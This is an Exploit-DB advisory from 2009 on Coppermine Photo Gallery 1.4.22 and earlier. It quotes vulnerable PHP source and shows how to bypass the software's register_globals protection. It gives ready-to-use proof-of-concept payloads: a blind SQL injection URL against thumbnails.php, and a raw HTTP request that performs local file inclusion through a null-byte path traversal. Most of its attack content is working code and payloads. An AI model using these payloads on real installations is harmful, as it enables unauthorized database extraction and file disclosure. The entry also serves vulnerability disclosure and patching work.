Exploit-DB #8713
Description: coppermine photo Gallery 1.4.22 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-18
Author: girex

Exploit:
Author:	girex
Site:	http://girex.altervista.org/

CMS:	Coppermine Photo Gallery <= 1.4.22


Coppermine Foto Gallery suffers from different vulnerabilities.

There is a Local File Inclusion and a Blind SQL Injection working with 
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums 
(default setting if registration is enabled) and php.ini regardless
and 
a Blind SQL Injection when is enabled the ecard logging system 
(that is not a default configuration) and php.ini regardless

Let's see how do they work...

-------------------------------------------------------------------------------------------

Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.

I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.

Let's see the anti-register_globals protection and how to bypass it...

File: /includes/init.inc.php - lines: 42-65

	$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');
	
	if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
	    $register_globals_flag = true;
	} else {
	    $register_globals_flag = false;
	}
	
	if (get_magic_quotes_gpc()) {
	        if (is_array($_POST)) {
	                foreach ($_POST as $key => $value) {
	                        if (!is_array($value))
	                                $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }
	
	        if (is_array($_GET)) {
	                foreach ($_GET as $key => $value) {
	                        unset($_GET[$key]);
	                        $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }

Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.

Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.

Let's see how to exploit it...

File: ./thumbnails.php - lines: 79-

	if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
	if (isset($_GET['cat'])) $cat = (int)$_GET['cat'];		<== bypass the int cast 
	if (isset($_GET['album'])) $album = $_GET['album'];

	...
	if (is_numeric($album)) {
	...
    	
	} else {
        $album_set_array = array();
        if ($cat == USER_GAL_CAT)
            	$where = 'category > ' . FIRST_USER_CAT;
       	else
            	$where = "category = '$cat'";

        $result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where");  <==  Vulnerable query


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23	true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23	false

-------------------------------------------------------------------------------------------

It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...

File: /include/functions.inc.php - lines: 128-135

	function user_get_profile()
	{
        	global $CONFIG, $USER;

        	if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
                	$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
                	$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');		<== we bypass it
        	}
      
		if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
                	list($usec, $sec) = explode(' ', microtime());
                	$seed = (float) $sec + ((float) $usec * 100000);
                	srand($seed);
                	$USER=array('ID' => md5(uniqid(rand(),1)));
        	} else {
                	$USER['ID'] = addslashes($USER['ID']);
        	}

        	if (!isset($USER['am'])) $USER['am'] = 1;
	}

File: /includes/init.inc.php - lines: 318-346

	if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
	{
        	$CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
        	$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
	}
	elseif ($CONFIG['charset'] == 'utf-8')			<== default configuration
	{
       		include('include/select_lang.inc.php');
        	if (file_exists('lang/' . $USER['lang'] . '.php'))
        	{
                	$CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
                	$CONFIG['lang'] = $USER['lang'];
        	}
	}
	else
	{
        	unset($USER['lang']);
	}

	if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
	{
                unset($CONFIG['default_lang']);
	}

	if (!file_exists("lang/{$CONFIG['lang']}.php"))
  	$CONFIG['lang'] = 'english';

	// We load the chosen language file
	require "lang/{$CONFIG['lang']}.php";		<== vulnerable include


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)

---------------------------------------------------------------------------------------